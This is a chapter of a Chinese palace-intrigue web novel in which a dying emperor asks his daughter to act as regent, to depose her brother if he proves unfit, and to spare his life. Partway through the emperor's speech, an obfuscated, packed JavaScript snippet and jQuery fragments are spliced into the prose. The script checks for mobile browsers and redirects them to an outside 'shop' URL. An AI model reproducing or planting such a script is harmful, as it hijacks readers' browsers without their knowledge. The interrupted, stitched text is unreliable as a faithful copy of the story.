“前朝的重臣,”华熠喘了口气,示意华舒将旁边小几上的参茶递给他,润了润干裂的嘴唇,“趁朕今日还有精神,会一一召见……其实不见也没什么,朕……早已备下旨意,他们……都会好好辅佐你们姐弟的。”
听到这里,华舒终于问出了从接到召见那一刻起就盘旋在心头的问题,她的声音很轻,带着一丝恰到好处的仿佛不敢置信的颤抖:“父皇……您如此信任儿臣吗?”
华熠看着她,那目光似乎穿透了她此刻谨慎不安的表象,看到了更深的地方。
他没有直接回答,反而提起了另一件事:“你记得……那块工部挖出来的祥瑞石头吗?”
华舒心头猛地一跳。
“‘南瑞将安,圣主临朝’……”皇帝缓缓念出那八个字,嘴角扯动,竟像是一个真正的、微弱的笑容,“他们都说,那个‘安’,是‘安定’之意。但朕知道……那说的是朕的瑶安公主。”
华舒跪在脚踏上,背脊几不可察地僵硬了一瞬。
她万万没有想到,自己为了引导**而通过云裳阁散布出去的牵强附会之言,皇帝竟然真的信了!
不仅信了,而且似乎深信不疑,将这视为某种天命所归的征兆!
这简直是……意外之喜。
一股带着微颤的激流瞬间滑过她的四肢百骸,但她立刻将这股情绪死死压下。
皇帝的气息越来越弱,他强撑着,目光紧锁着华舒,一字一句道:“舒儿,朕跟你说了这么多……最重要的……”
“儿臣知道,”华舒立刻接口,语气恳切而坚定,仿佛急于表露心迹,“最重要的是,待皇弟成年之后,儿臣必须立刻还政于他,从此不再干政。父皇,儿臣向您保证,儿臣绝非贪恋权势之人,定会尽心竭力,与皇弟相互扶持,护我南瑞江山稳固。”
这是最标准也最无可指摘的回答,是皇帝最可能想听到的承诺。
然而,华熠却缓缓摇了摇头。他枯瘦的手从锦被下伸出,似乎想抬起来,却又无力地落下。
“你能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097306|195671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这样想……朕很高兴,但,这只是……其一。”
华舒的心又提了起来。
其一?那其二是什么?
皇帝深深地吸了一口气,这简单的动作都让他额上渗出冷汗,他的眼神变得无比锐利,又无比沉重,死死钉在华舒脸上,用尽力气清晰地说道:“其二是……如果他不堪大任,不能成为一个……合格的君主……那就……废了他!另立主君!”
这话如同又一记惊雷,比方才那句“临朝听政”更让华舒心神剧震。
废帝?另立?
华熠竟然亲口说出这样的话?对自己尚未出世就寄予厚望的唯一子嗣?
她彻底愣住了,一时间竟不知该如何回应,只能怔怔地看着皇帝。
华熠喘着气,继续道,语气里带着一种近乎哀求的意味:“朕只要你答应……若是真到了这一步……不要杀他,哪怕是圈禁也好……让他……安稳一生吧。”
华舒的喉咙像是被什么堵住了。
TBC.